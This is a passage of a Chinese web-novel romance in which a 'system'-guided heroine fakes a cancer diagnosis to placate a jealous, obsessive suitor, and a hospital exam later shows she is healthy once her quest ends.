有些人发疯专注内耗,折磨自己。而崔少爷发疯,则是完全相反,他热衷于折磨身边的每一个人,崔家一群私生子女们,原本在他住院之后抖擞起来,可刚刚高兴没两天有被通通收拾了。到现在,因为脾脏破裂、长期住院的都不止3个了! 崔秘书嘀咕,幸好崔英朗眼中,佣人和普通人都不算人,从来不会多加留意,更别提刻意为难。 安蔓下了车,表情微微茫然,有点无措,轻声细语,“请问,这里是……” 崔秘书赶紧解释,“安小姐,这里是崔家,您应该要先暂时在这里住一段时间,这是我的电话号码,有事请随时联系我。” 安蔓接过他的名片,表情仍是茫然无措的,轻轻点头,“好的。” 崔秘书松了一口气,这 位小姐比听起来要好说话的多,连忙引着她往楼上,到了3楼居中的房间,“今晚请您住这儿,你吃过晚饭了吗?” 安蔓轻轻点头,声音细细的,像是吓破了胆子,“我吃过了。那个,我想问一下,崔叔叔在吗?” 崔秘书过了一会儿,才反应过来她说的崔英朗的父亲,解释道,“安小姐,你放心住,崔先生最近出差去了,最近只有崔少爷在家。” 他甚至没有介绍那几位私生子女,无它,没必要,那几位已经被收拾的服服帖帖,根本不敢往这里来了。 安蔓点了点头,又低下头,表情有点瑟缩,进了房间,“谢谢你。” 一关房间门,她的表情立刻垮了下来,心情不悦,眉目隐隐烦躁,现在好了,不仅逃跑失败,还直接撞到崔英朗手中,被送到了他的大本营! 安蔓简直无法想象,之后该怎么过,前途简直一片黑暗,崔英朗发疯起来太可怕,让她打心里畏惧。 她焦虑地皱着眉毛,打量了一下这个房间,应该是精心布置的,无论是用料、摆设、还是各种细节,都带着一种昂贵的奢侈气息。 位置也好,在3楼的中心。 安蔓站起来,走到梳妆镜面前,打量自己,白皙的脸上还浮着淡粉,嘴唇却发白,眼睛乌黑秀美,瞳孔深处却充满恶劣和冷漠。 安蔓皱着眉毛询问:“系统,攻略任务,我只差崔英朗的吧。” 系统:“是的是的。” 安蔓太久没见崔英朗了,这次真的被吓到了,心有余悸,拍拍胸口,“我能不能暂时不做他的,他太吓人了,我真的受不了了。” 系统挠头:“……没问题诶,这本来就是超高难度任务,没有规定固定期限。” 安蔓稍稍满意:“好。” 她回忆起了刚刚的场景,崔英朗今天的状态明显有点不太正常,比之前都恐怖,还亲眼见证到她和慕玉泽滚在一起,更吓人了。 安蔓想起这个,又有些不满,咬咬嘴唇。真倒霉,慕玉泽虽然技术烂,但到后面还是有点进步,结果这次还是没做完。 太烦了,崔英朗到底是什么捉奸大师,怎么哪哪都有他了! 安蔓想到这里,又觉得身上黏糊糊的,不太舒服,冲进浴室好好清洗了一遍身体,把脸上的妆和口红卸了干净,最后在房间里准备的睡裙中挑了一件纯白的缎面吊带。 随后注视着镜子里自己,出水芙蓉,清丽可人。嘴唇发白,眼睛是惶恐的,看起来可怜极了。 安蔓略感满意,认为这样看起来够惨了,拍了拍脸,正常入睡。 她做好了充足的准备,以防万一,不管什么时候崔英朗又发神经过来,想要见她,都能够第一时间展现出楚楚可怜的状态。 安蔓睡眠很好,一般倒头就睡,一觉直到天亮。 可是今晚,大概是因为受到了惊吓,身体毫无困意,怎么也无法正常入睡。 翻来覆去,好不容易终于凝聚出了一点困意,勉强睡着,她也不太舒服。 身体不安,心情惊慌,呼吸加快,像是黑暗中有什么一直在沉沉注视她。 安蔓睁开眼,被窗外柔和的光线刺醒,胸口莫名其妙怦怦乱跳,呼吸不畅,额头甚至出了一点细密的汗,莫名不安。 她将手按在胸口,轻轻喘气,闭了闭眼,刚想去关窗户重新入睡,手指就摸到了冰凉的发丝,黑暗中身边一双野兽一样的金色的眼睛微微发光,“啊!” 安蔓吓了一跳,刚想后退,就被按住了双手,那双金色的眼睛靠近了,轻声质问,“你怕我?” 崔英朗的脸露了出来,他脸色发白,嘴唇乌青,眼下有黑眼圈,瞳孔里的红血丝在月光下阴森森,仿佛带着鬼气。 “你为什么怕我?我记得我从来没有伤害过你吧。” 安蔓快被他吓死了!她瞳孔控制不住地微微收缩,整个人情不自禁地往后退,心跳快的要命,在心里暗骂一声真的有病。 她现在只想扇他一耳光,脸上勉强挤出假笑,深呼吸了几下,声音温温柔柔,“崔少爷……大晚上的,这样很吓人。” 崔英朗发白的脸凑近她,脸色阴沉沉的,“你觉得我可怕?” “……”安蔓脸色僵硬,这谁不觉得可怕? 她尽量心平气和,放软了声音,显得尽可能的真诚,目光落在他的脸,又不受控制的往旁边偏了偏,“崔少爷,你一点都不……可怕。” 崔英朗听到这个回答,看不出满不满意,他伏在安蔓的身上,喉咙里发出了一阵笑声。 那笑声又轻又柔,在平静的黑暗里却显得突兀又恐怖。 崔英朗看着她的眼睛:“说谎。你不是喜欢我的脸吗?为什么你现在不看我。” 他声音很轻地自言自语,“还是因为好看的人太多,所以你不喜欢了。” 安蔓被他逼的头大,觉得今天晚上崔英朗阴冷又吓人,不得不强行拽回目光,落在他的脸上。 她扫了一眼,发现他的黑眼圈真的很深,不知道多久没有好好休息过了,直起腰想去开灯,驱散这种莫名森然的氛围,口中狡辩,“我还是喜欢的……,我是喜欢你的崔少爷。” 崔英朗又笑了一声,猛然将她按回去,苍白的脸怼了上来,“骗子!你就是这么喜欢我的?” “啊!”安蔓被他吓的尖叫! 她真的受不了了,她怎么那么命苦啊,要遇到这个神经病,苍白柔弱的脸上都快绷不住表情了,忍不住烦躁大叫,“我都说了我喜欢你,你还想我怎么样!” 崔英朗阴郁一笑,“你果然一直在骗我,到现在连哄都不哄了!” 安蔓:“那你到底要怎样啊!” “我要怎么样?这句话我应该问你才是,你到底想怎么样?是我对你不够好吗,从开始,你扇我、骂我,骗我,我都没有跟你认真算的过账吧!” 崔英朗已经记不清多少次了。 最开始,安蔓刻意接近他,被他揭穿反而在俱乐部扇了他一耳光。后来又游走在他和江赫中间,让他当小三。再后面,江淮盛的生日聚会,害他被人砸了一脑袋酒瓶又转身就跑。 在医院里和他柔情蜜意,天天甜言蜜语的哄他,转眼又在隔壁的休息室和江赫做出那种事! 崔英朗后面,已经刻意让自己不再回忆之前的事情,把安蔓一次又一次的欺骗和背叛压在脑后,强行说服自己注重当下。 再后来,安蔓陪伴他终于下了病床,出了医院,在他以为两情相悦、已经的时候。安蔓又在韶家双生子的生日宴会上,和韶景荻搞出那种事! 在搞出那种事之后,对他并不道歉也不愧疚,反而转身就抛将他远远抛在脑后,彻底遗忘。 不仅遗忘了,身边还有了新男人! “这段时间我一直在找你,在等你,我还反思自己很多地方做的不对,平时对你太不温柔,我想过找到你要说什么。” 崔英朗的身体冰凉,手指搂了上来,按着安蔓的手臂,直接划过她的腰,最后落在了安蔓修长雪白的脖颈上。 他冰冰凉凉的手指,摩挲着脖颈上的吻痕,温度让安蔓情不自禁地微微颤抖。 那张轮廓分明的脸猛然拉近,俊脸上干干净净,没有一丝疤痕,金色的眼珠死死瞪着她,戾气横生,像恐怖片里骤然放大的鬼脸, “我还做了祛疤手术,就怕毁容了你不再喜欢,没想到今天见到你时主要是这种情况!” “为什么?我做错了什么,因为是我不够喜欢你?还是你根本不喜欢我。”崔英朗阴森森问。 安蔓被他逼得头大,恐吓到极致,反而生出厌烦,咬牙怒道,“没错!都是你的错,因为不够喜欢我!” “我还要怎么喜欢你!”崔英朗厉声道。 安蔓也烦了,她被抱的很紧,手动都动不了,根本推不开,大声说,“你反省一下自己的问题,为什么你不能百分百的爱我?我也有自己的苦衷好吗,你应该知道我生病了,偶尔做出一些出格的事也是可以理解的……” “你是不是以为我很好蠢,很好骗。你随便编一个理由,我就能像从前一样上当!” 崔英朗听到这话反而激动起来,他神态阴郁,甚至带了一丝变态,在月光下眼睛亮的吓人,嘴唇没有一丝血色,忽然伸出手搂了上来。 他看起来太吓人了,力气也太大,要是动起手来,安蔓根本打不过他! 安蔓深呼吸一口气,抽出一只手勉强抵着他的肩膀,崔英朗整个人压了上来,沉甸甸的,表情扭曲可怖。她做好了准备,要是他真敢动手,她就屈起膝盖猛顶崔英朗的小腹,再捞起床头的花瓶,给他脑袋开个瓢。 但他抱上来之后一动不动,额头抵着她的肩膀。声音咬牙切齿、又痛又恨,“……你到底为什么要这么对我!你凭什么!” “是不是一定要我跪下,做你的狗,让你踩在我的头上,逼我钻进 你的裙摆,求你!” 凉凉的水珠滑在脖颈上。 安蔓伸手摸了一下,愣了半天,才发现他哭了。 第92章 第92章检查 92.?? ……崔英朗哭了?? 安蔓被质问的有点头晕,一动不敢动,崔英朗情绪太激动了,声音也很大,体型更是高大逼人,简直像熊一样,整个人覆盖上来能够将她完全笼罩,即使不动手,也具有十足的威慑性。 安蔓被勒的很紧,很不舒服,推了推他的肩膀,有点怀疑他到底是不是真哭了,“崔少爷,你在流眼泪吗?” 崔英朗额头抵着她的肩膀,一声不吭。 安蔓推了他一把,推不动,光线又暗又是这个姿势,她完全没办法看到对方是否红了眼眶。 但是在这种情况下,莫名的,崔英朗的威慑度下降了一点,稍微有点没那么可怕了。 安蔓理智回归,清了清嗓子,把声音掐成夹子音,开始编瞎话,“崔少爷,你要理解我呀,我也是有苦衷的。” 崔英朗冷不丁开口,胸腔的震动随着皮肤连接处传了过来,声音阴郁,“你有什么苦衷。” 安蔓推不动他,干脆伸出手,按着他的脑袋,指尖穿过他柔顺冰凉的发丝,装模作样,轻轻抚摸。 安蔓脑子转的飞快,很快就组织好了措辞,把骗韶景戈的套路搬过来,“崔少爷,其实呢,我还是很喜欢你的,你知道吗?在很早以前我也想过要和你一生一世在一起。” 她声音微微停顿,很快转折,尾音变得悲伤而低沉,“直到我发现我得了癌症,自那之后整天浑浑噩噩,精力不振,身体非常容易疲惫,经常呕吐。因为太难受了,所以忍不住自暴自弃做出一些错事。” 崔英朗听着听着,忍不住嗤笑起来,他查过安蔓体检报告的时间,是狂欢日次日做的,按照她的说法,她是自暴自弃。 可安蔓明明在知道自己生病之前也没多专一,“是吗?” 安蔓仿佛猜出了他的心思,声音柔和,手指轻轻摸着他的头,像是安慰,又像是沉湎于悲伤,“其实我很早以前,心里就猜到我生了病。很早之前,我的身体状况就不太好了,不然我也不会莫名其妙去体检。” 崔英朗对她的那份体检报告还是半信半疑,主要是这份报告来的太突然,时间也过分突兀。最可疑的还是这位病人本身的表现。 她太能折腾了,太能跑了,一点也不像是个病人! 崔英朗声音阴沉,“你的意思是,你和江赫上床,和韶景戈滚到一起,又和慕玉泽机震,都是生病的错了?” 安蔓皱眉,她是想这么推卸责任的,但是这人说话怎么这么难听啊! 安蔓假笑,“我的意思是,自从我猜到我生病后,整个人生都颠倒了,每天过的晕头转向,混乱不堪,有时候我自己也不知道自己在做什么……也有可能……我只是想不给自己留下遗憾吧。” 崔英朗还是对那份检测报告心有疑虑,对安蔓控制不住的怨恨。 但是安蔓在倾诉生病的心路历程的时候,声音格外真诚,充满痛楚,让他忍不住心头一动。 崔英朗眼含戾气,语气还是阴森森的,“你的遗憾就是,和各种各样的男人偷情?” 安蔓轻轻咳嗽,略带不满,崔英朗说话真的很难听! 本来她酝酿了满腔情绪,被他这么一呛都有些说不下去了,赶紧调整心情,继续绘声绘色,充满感情倾诉了一遍自己的生病经历。 讲述字字泣血,充满了安蔓本人的真挚感情,势必要打动崔英朗这个疯子,让他心软。 安蔓又讲了一段,唉声叹气,“……看到检测报告之后,我真的很难过,感觉世界都崩溃了,每天每夜都睡不着,知道自己在干什么。” 崔英朗还想说话,“你……” 安蔓及时打断了他,懒得再听这张狗嘴读出什么不好听的话,双手抱住他的头,直白道,“崔少爷,我就是这样的人啊。” 崔英朗微微一怔。 安蔓轻哼,她早就想实话实说了,反正现在所有人都以为她有病,都不敢对她做什么。就算去医院检查也是这个结果。 所谓死者为大,病人也是这样。 只要有这个身份,所有人都不敢对她怎么样。 就连这个疯狗,也不敢在这种时候算账。 她嘴角微翘,声音哀哀切切,十分柔软,“你难道不知道吗?崔少爷,我想你应该很早就知道,我就是这样朝三暮四、花心滥情的人。” “在生病的时候,不住自己想要放纵一下自己,也是人之常情吧。” 安蔓搂着崔英朗的脖子,亲密无间,动作柔软又依恋,轻轻一笑,却让人听了心底发冷,“毕竟,我要是忠诚专一,早就和江赫在一起了,怎么会和你偷情呢。” 崔英朗身体僵硬住了,原本回温的手指又开始变冷。 他松开手,抬起头,在月光下露出一张白森森的脸,瞳孔阴暗幽深,“所以你还是不喜欢我?” 安蔓摇了摇头,真心实意道,“我喜欢你啊,崔少爷。只是我喜欢的不止你一个人。” “人的心尖就像榴莲,站满人很正常吧。” 月光太凉,崔英朗表情太冷,大半张脸沉浸在黑暗里模糊不清,看不分明。 银灰色的月光,打在他的脸上,阴恻恻的,看起来很是吓人。 安蔓试图看清他的眼睛,在刚刚是否真的流泪了。 崔英朗却蓦然往后一缩,整个人都埋在阴影里,眼神阴鸷,一字一句,“……我懂了。” 他下了床,转身就走,摔上门。 房间里重新恢复寂静。 安蔓舒了一口气,觉得自己应该是糊弄过去了,忍不住擦了擦额头的汗,白皙的脸上充满抱怨,发牢骚道,“真难糊弄。” 她长长的吐出一口气,俏脸上满是冷汗,刚刚真是太吓人了,幸亏她能言善辩,可算是将这件事糊弄过去了。 唯一遗憾的,是刚刚没有看清楚崔英朗这个疯子,是不是真哭了。 她有点受不了别人哭,尤其是崔英朗这种人的眼泪,有一种莫名的惊悚感,就像恐怖片里出现搞笑一样格格不入 安蔓心有余悸,不自觉地摩挲指尖,仿佛刚刚的那一滴泪还挂在上面. 崔英朗走后,一切风平浪静,房间也恢复了安静。 安蔓闭上眼,花费了一些时间,重新酝酿睡意,终于再次入睡。 第二天早上九点,门外响起了敲门声。 安蔓睁开眼,略带困忪,气色极佳,脸上带着睡熟的晕红,不满地提高声音,“谁啊!” 崔秘书站在门外,看了一眼时间,昨天晚上被崔少爷提示过,今天早上晚点来敲门,他特地选了9点,没想到安小姐还没起来。但是再不起来,就要错过和医院预约的时间了。 崔秘书提醒:“安小姐,早饭时间到。吃完早饭,我们10点要到达首都中心医院,少爷为您预约了体检。” 安蔓揉了揉眼睛,光着脚踩在床边的地毯上,穿好拖鞋,走进卫生间,懒洋洋说,“知道了。” 她照了照镜子,唇红齿白,皮肤通透饱满,清纯秀丽,像是吸饱了水的纯白栀子花,气色健康红润,根本不像个病人。 安蔓往脸上泼了泼冷水,让自己看起来气色差一点,重病人士,总不能比没病的看起来还健康。 她和系统吐槽了几句:“都怪崔英朗这个混蛋,太吓人了,害我不得不用生病这件事当借口。” 系统深以为然:“就是就是,宿主,万一你今天确诊了,岂不是要被关在医院里一直治病。” 安蔓连连点头,内心充满不满,但是昨天的危机关头,除了这件事,她真的想不到其它方法脱身。 安蔓回忆起之前的治病过程,不由打了个寒战,“我又不是没治过。” 系统安慰她:“没关系啊,宿主等你加油攻略把男主1号拿下,病自动好了就不用治了!” 安蔓插科打诨了一会儿,换了一条白色长裙,将冷水往脸上泼了几遍。 直到将自己打扮成楚楚可怜的、脸上毫无血色、虚弱苍白得像是随时能够昏过去的小白花,她才微微满意,到了餐厅。 崔秘体贴周到,不负他拿的高薪水,让厨师安排的都是调查后安蔓喜欢的早饭,“安小姐,请慢用。” 安蔓对他点了点头,开始用饭。 崔英朗已经吃完了早饭,手里不知道什么时候拿了一份报纸,今天的气色看起来比昨天略好一点,连眼下的青黑都淡了,只是神态还是一如既往的阴郁。 他余光看着安蔓自然地吃完了早餐,根本没把昨天、之前的事情,放在心上,不禁轻轻咬牙,一阵阴沉,这人就是这样,将来只有他会把这些事情放在心上。 安蔓吃完了饭,心情又好起来,微微弯起眼角,打了个招呼,“崔少爷,我们什么时候去医院。” 崔英朗声音不冷不热,“等江赫。” 安蔓有点惊讶,“你们现在关系这么好吗?” 她的记忆还停留在两人在医院互殴时期。 崔英朗喉咙轻嗤,“你觉得是因为谁呢?” 安蔓茫然:“难道是因为我?” 崔英朗表现看起来比昨晚正常一点多,眉间微拧,语气阴阳怪气,“是啊,江赫这些日子可关心你了,天天找你,茶不思饭不想。” 安蔓恍然大悟,点了点头,“原来如此。” 崔英朗牙齿微痒,每每看到安蔓心中还是涌起一股扭曲的情绪,恨不得喝其血啖其肉那种。 但发觉江赫在安蔓心里也不过如此,一视同仁的被忽视,心情又莫名其妙好一点。 崔英朗突然想到了什么,脸色又沉了下去,声音又变得扭曲起来,充满嘲弄,“不仅是江赫呢,韶家那对兄弟对你也是关注的不得了,就连昨天还不断打电话过来问我把你藏到了哪里!” 安蔓睫毛微抬,表情茫然无措,楚楚动人,又虚弱,又可怜,“崔少爷,那你把我的行踪告诉他们了吗。” 崔英朗嗤笑:“他们想都不要想!” 安蔓抿了抿嘴,轻轻笑了笑,面色苍白如纸,清丽无瑕,信赖道,“崔少爷,谢谢你没有说出去,我的行踪你和江少爷知道就好,我只信任你们。” 崔英朗扫过安蔓的脸,发现她真的一点也不在意,就连慕玉泽昨天为她挨了一顿,差点毁容,这人也提都没提。 安蔓是真的对他们每一个人都毫不在意,一视同仁,过脑就忘,让人几乎觉得可笑的程度。 崔英朗心情又变得森然,嘴角轻轻一扯,不知道是在笑别人还是在嘲笑自己,嘴唇抖动了一下,最后转头,“崔秘书,江赫来了吗?” 崔秘书刚刚听到了车声,出去查看了一下,很快就回来汇报结果,“江少爷来了。” 崔秘书带领崔英朗和安蔓出了崔家,他。自然是要全程跟随开车的,可是刚上车又犯了难。 崔秘书自然是负责开车的,江赫少爷特地来了一趟,不可能让他单独一辆车。这样的结果就是崔少爷、江少爷,和安蔓小姐,三位挤在一辆车上。 而上车之后,每个人都默契的忽略,副驾驶座,两个人一左一右把安蔓夹在中间,谁都不说话,氛围怪异的要命。 崔秘书难得遇到这个场面,尴尬的额头出汗,猛踩油门,把平时10分钟的路程都缩短了5分钟。到医院赶紧停了车。恭恭敬敬的把三位请下来。 “医院到了。” 而下车之后,这三位,居然还是维持着刚才的位置,崔英朗和江赫一左一右,跟两大护法似的,把安蔓小姐夹在中间! 他们到的稍稍偏早,预约的时间还没到,检测设备有人在用。崔秘书有点受不了这种氛围,将几人带到等候室,“崔少爷请稍等,我去联系医生。”. 维持氛围的人一离开,三个人又陷入了短暂沉默。 安蔓也察觉到了这个氛围,1对1的时候她能很轻松的忽悠过去,但是同时面对两人,就有点难受了。 而且现在这俩人谁都不说话! 安蔓轻轻咳嗽,“江少爷,崔少爷,谢谢你们来陪我检查身体。” 江赫面容冷峻,眼神却稍稍软化,在医院这种环境,他还不至于低情商的说出什么刺人的话,他和安蔓的情爱纠葛,远远比不上她的身体。 他深吸一口气,勉强软化了声音,只是有点僵硬,“好好检查,不用担心。不管结果是什么,都无所谓。” 安蔓点了点,声音有气无力,轻声:“好。” 江赫语气难得柔软,见她脸色发白,嘴唇颜色淡淡,起身用一次性纸杯给她接了一杯温水,推在他面前,“不知道还要等多,喝点水吧。” 安蔓接了纸杯,只喝了一点就放下杯子。 可恶,早上吃的太饱,她现在没什么胃口。 安蔓口袋里的手机一直在响,她没有注意,倒是江赫忍不住看了几眼。 江赫绿色的眼睛冷冰冰的垂下,又收了回来,仿佛漫不经心般开口,“……检查的时候不能带手机,你介意我帮你保管吗?” 安蔓当然不介意,有点诧异的挑了挑眉毛,将手机给他。她“生病”之后,江赫的态度真的温和了太多。 安蔓眼神含情脉脉,充满柔软,十分欣赏他这种温顺的态度,并希望身边跟着的另一只疯狗好好学习一下。 这才是做狗的标准姿态! 安蔓目光信任,软软点头,“好的拜托你了。” 江赫接过手机,放在口袋里。崔秘书迟迟没有回来,他往外看了一会儿,过了一会儿站起来,说,“我去看一下情况。” 江赫走出了等候室,经过长长的走廊停了下来,从口袋里拿出安蔓的手机,打开,手机没有锁屏,一会儿就开可以看得到韶家兄弟、慕玉泽的信息。 [韶景戈:我不同意。但我可以不追究之前的事情,我弟弟喜欢你,如果你留下来的话,我答应你们在一起。] [韶景荻:主人~你怎么能就这么跑了,留下我一个人,难道我不是你的小狗了吗。真让我伤心,弃养可是道德败坏的行为,而且我们还有很多东西没玩过,不是吗?] [如果你喜欢我哥哥,我也可以接受,我们三个在一起一定会非常快乐。] [【狗绳链接】【口球链接】【玩具链接】] 江赫眉头拧了拧,绿瞳凝固,他和这对兄弟关系不错,平时他们人模狗样、衣冠楚楚,没想到私底下这么不知廉耻! 他指节一滑,想要关掉提示却不小心点进了下面的信息,慕玉泽显然没听进去他昨天的警告,在今天早上对安蔓发来了消息。 [慕玉泽:安蔓小姐,真抱歉,昨天我们的私奔之旅没有成功。那群混蛋对我的飞机动了手脚,快把我打了一顿! 幸好因祸得福,爷爷相信了我们之间的事,如果是有需要请随时找我,我会永远等你,如果你需要裸照的话,也可以随时联系我:)] [俊脸照][腹肌照] 江赫目光冷冷,略带厌恶,没有点进去,手指在屏幕上轻轻一滑,关掉消息提示。 他进入旁边的卫生间,将水池里放满了水,把手机扔进去,冷眼注视手机咕噜噜的沉到水底。 崔英朗已经是他忍受的极限,他们的世界,不需要其他参与者!. 崔秘书问好了医生,走了进来,奇怪的是江赫此时并不在这里,但崔英朗和安蔓还是各朝一边。 崔英朗眼中戾气暗涌,表情略带嘲弄,双手抱胸目视窗外,不知道在想什么。 安蔓坐在沙发上喝水,柔顺的黑色直发披在肩后,表情恬静,温和美丽。 崔秘书走了过去,“安小姐,我已经沟通好了,现在可以去体检了。” 安蔓站起来,深吸一口气,她最讨厌医院了,“好的。” 崔秘书见她有点担心,连忙安慰,“安小姐请放心,我们这次,是根据你上次体检报告的情况,安排的针对性检查。过程很快,结果也能在半天之内出来。” 安蔓“嗯”了一声,呼吸间嗅到漂浮在整个医院的消毒,让她心脏微微加快,心情都变得糟糕起来。 她站起身,跟着秘书走,刚刚出门,崔英朗却在身后跟了出来,忽然叫住她,“安蔓。” 安蔓回头,脸色憔悴,表情茫然,“崔少爷,什么事?” 崔英朗眼睛死气沉沉,金蜜色的瞳孔注视着安蔓,他还是不相信对方真的生病了,但是此刻货真价实的置身于这种环境里,胸口一阵阵紧缩,仿佛真的看见安蔓奄奄一息地躺在床上的场景。 那种场景太真实、过分真切,甚至自动在他的大脑里营造了种种细节,让他情不自禁的难受起来。 崔英朗停到安蔓身边,注视着她的脸庞,试图寻找健康的证明,可是他失败了。安蔓的脸颊光滑柔软,但是脸颊与嘴唇微微发白,神态恹恹,气色极差,带着病气。 他的声音像是自言自语,上手捏着她的脸,手指一点也不温柔,从安蔓的额头脸颊,鼻尖,睫毛,嘴唇一路胡乱捏了下来,面无表情,“你真的得了……那种病?” 安蔓转头,有点诧异,担心崔英朗在这个时候再次发疯了,痛快点头,“是的。” 崔英朗的声音莫名其妙地有点扭曲,连同他的脸色一样狰狞,手指微微用力,“……那你不是活不了多久,过几年就会死了?” 安蔓差点翻了个白眼,虽然是这个意思,但他不能委婉一点吗!“没错。” 崔英朗低下头,面无表情,没有说话。 半晌,他突然开口,“你不能死,你必须好好活下来!骗了我这么久,骗了我这么惨,你必须健健康康地接受我的折磨!” 安蔓眼前一暗,崔英朗突然低下头,捏着她的下巴,让她扬起了脸颊,然后弯了弯腰。 安蔓下意识的闭眼,但对方没有吻下来,只是和她额头抵着额头,轻轻吻在她的眼角。 崔英朗昨天还阴暗扭曲,大晚上的恐吓她,像是恐怖片里的恶鬼一样,现在脸色仍然有些狰狞,阴暗几乎可怖,“安蔓,我不会放过你的。” 崔英朗松开手,转头就走,脚步越来越快直接进了等候室,猛的一拉门把,砰的把门关上。 他不可能放过安蔓,招惹了他,将他骗的这么惨,日日夜夜承受痛苦,他必须加倍回报。 安蔓自己作孽,自己要勾引他,他绝不可能放手! 安蔓茫然,伸手搓了搓脸,脸颊微微发热,被亲吻的地方也在热,崔英朗这是良心发现了? 她扬了扬睫毛,啧了一声,重病果然是大杀器,不管多可怕的修罗场,一把这件事拿出来就可以平安度过。 安蔓内心盘算着怎么利用好这次检查,从中获取最大利益,询问崔秘书,“我们现在就去检查室吗?” 崔秘书愣了半天终于回过神来,心里直呼见鬼,他还是第一次见到少爷这么多情伤感,柔情蜜意的样子。 他猛然甩头,把刚刚的可怕念头甩过脑后,觉得再回忆起来简直会做噩梦,听到安蔓的问题,连声回答,“是的,安小姐请跟我来。我们预约的并不是全科项目,而是针对你之前的……” 安蔓眼角微弯,脚步轻快,跟着崔秘书经过走廊,来到医生的办公室,然后拿了医生开的单子,跟随护士走向检查室。 这群天龙人对她的态度太不可控,而且危险,特别是崔英朗的表现,充满了不确定,她必须把握好机会。 安蔓心里已经冷漠地计划好了,怎么利用这次检查,给自己营造出一个舒服、可靠、安全的环境。 结果脚步才刚刚迈出,耳边突然响起系统震耳欲聋的电子音! 眼前突然自动跳出银灰色的系统界面,界面正中央的画面变成了一只红色礼炮。 [叮——] [崔英朗当前好感:100] [崔英朗攻略完成。] [全部对象攻略完成。] [所有主线全部完成。] 几项内容迅速播报完毕,屏幕上的红色礼炮自动炸开,色彩缤纷的透明礼花纷扬落下,还没落在地面就像雪花一样自动消融。 等待所有礼花消失后,系统界面上的文字迅速跳动,开始自动结算。 系统平时冷冰冰的电子音变得尖锐而愉悦,[恭喜宿主完成所有任务,成功通关sss级任务《德川高校的秘密恋情》。] [进入结算页面……结算成功! 正在核实任务奖励……核实完毕! 奖励1,身体健康,长命百岁。 奖励2,宿主可以在《德川高校贵族学院》和《现实世界》中二选一,选择回归世界。] [正在发放奖励……奖励发放完成!] 系统愉快地说:[恭喜宿主通关,从此身体健康,无病无灾,永离病痛。] 系统又放了一个礼花,系统页面上,安蔓的身体状况一栏,从【重病】刷新成【健康】。 安蔓:“……” 安蔓:“???” 不是,这个时候身体健康了,检查怎么办! 第93章 第93章争 93. 崔秘书把人带到了医生面前,做完一套检查,回到了等候室,又全部回了崔家。崔元戴不在,管家和几个住在后面的私生子都躲得远远的,根本不敢出现。 下午,检查结果出来,崔秘书让人跑了一趟医院去取,然后复印成三份送过来。 把报告送去前,他自己看了一眼,[经检查,您的胃镜检查、组织病理学检查、影像学检查等各项结果均处于正常范围,未发现明显器质性病变或功能异常。总体健康状况评估为良好]。 他看了太久,跑腿的人有点疑惑:“崔秘书,报告有问题吗?” 崔秘书看了一会,赶紧收回目光,“没问题。” 坏就坏在没问题上了,这位安小姐太健康了,别说重病了,连成年人常见的基础病也没有! 崔秘书按了按额头,内心忐忑,不敢想象崔少爷的反应,嘱咐佣人,“你们等会躲远点。” 嘱咐过后,他深吸一口气,进了崔家,亲自将原件交给崔英朗,同时转达医生的话。 “安小姐的各项指标都很正常,身体十分健康。” “但是面诊的时候,她看起来有点虚弱,可以补一补气血。” “平时要规律作息,健康饮食,多运动,注意放松减压。” 崔秘书说完了闭嘴。 崔英朗在看体检报告的时候一直没说话,面无表情地翻着报告,周围只能听到安静的翻页声。 安蔓心里打鼓,偏偏系统还幸灾乐祸,在旁边凉飕飕地拱火,“遭了遭了,完了完了,宿主你完蛋了!” 安谩面无表情,在心里冷冷骂它:“闭嘴,废物。” 系统很委屈:“我又不是故意煽风点火,这本来就是事实,现在你是健康状态,之前撒的谎又要被戳穿了。” 安蔓在心里咬字很轻,尾音有点黏,声音清冷地辱骂它,“废物就是废物,没有开口的权利,攻略全程零贡献,我说什么了吗?但凡自知之明,你就应该早点自我报废。” 攻略完了,系统不忍了,安蔓也不装了,一人一统,毫不留情地互相羞辱。 系统之前被骂惯了,现在试图扳回一局。 可惜嘴笨,怎么都说不过安蔓,三两句就被骂回去龟缩起来。 安蔓虽然吵赢了,但是难免还是有点心虚,这个世界她过得很舒服,如果不是必要,她还是不想选择跑路。 她将报告放在一边,若无其事地去吃桌上的水果。早上空运过来的麝香葡萄,色泽饱满,汁水丰沛,口感很好。 安蔓吃完了一串,在令人窒息的安静里,莫名其妙想玩手机,结果摸了个空,才想起来手机被江赫弄坏了。 刚准备再拿一串葡萄,就听到崔英朗抬高的声音,指尖一抖,“崔秘书!” 崔秘书浑身一抖,被吓了一跳,“是。” 崔英朗面无表情,“再安排一次检查,我担心检测有误。” 崔秘书愣了一下,连忙解释,“崔少爷,其实没必要再检查了,这套流程都是我带着小姐亲自过的。检查结果出来后,我立刻通知安蔓小姐上次体检的医院让他们自检了一遍,结果发现,小姐上次的体检报告出错了……他们内部系统出了问题。” 攻略完毕,发放奖励后,系统会尽力将奖励合理化。 比如安蔓上次的身体检查,就会合理化为系统出错情况下的,“误诊”。 但此时不仅是安蔓,就连崔英朗,也回忆起了昨晚安蔓激情澎湃,诉说自己在病痛下受的苦。 比如,“失眠”“掉发”“厌食”“呕吐”。 安蔓:“……” 崔英朗面无表情,将报告越看越快,脸色越看越糟,翻 到最后一页,手指重重地捏着纸,指尖发白,眼中生出戾气。 崔英朗猛然抬头,厉声质问:“你又骗我!” 安蔓捏着一只葡萄,手指白皙均匀,正在剥皮,丰沛的汁水流淌在她的指尖,全身上下用尽了毕生演技,“啊?” 崔英朗把体检报告扔在桌上,指着它质问,“这是什么!” 安蔓抽了一张纸,慢吞吞地擦拭纸巾,试探性开口:“……我的体检报告?” 崔英朗金眼冷冽,“你不是说你得了重病吗?” 安蔓:“是呀。” “那这个结果是怎么回事?!” 安蔓点头:“这个呀,我也不知道。” 她声音很软,带着微微愉悦,眼角眉梢都带着笑,和一种由衷的庆幸,“真好啊,没想到是误症,吓死我了,我还以为我命不久矣了呢。” 崔英朗憋屈得胸口起伏,手背青筋直凸,“……你又骗我。” 安蔓无措道:“我没有骗你,我也不知道是这个结果。我总不能操控医院吧。” 她顺手将剥好的葡萄扔进嘴里,一口咬下,清甜甘美,口感好到她连眼睛都轻轻眯了起来。 崔英朗深呼吸:“你昨天还说你每天呕吐……” 安蔓单手托着下巴,“可能是焦虑躯体化了,都怪医院弄错了报告。” 她看着崔英朗无奈地笑了,把问题抛了回去,反问,“你怎么这么生气,发现误诊了,你比我还激动,为什么?难道……你不希望看见我好吗?” 崔英朗咬牙,安蔓昨天晚上还和他倾诉生病期间的痛苦,现在看来,一切又是假的,“骗子!” 她根本没有生病,非常健康。 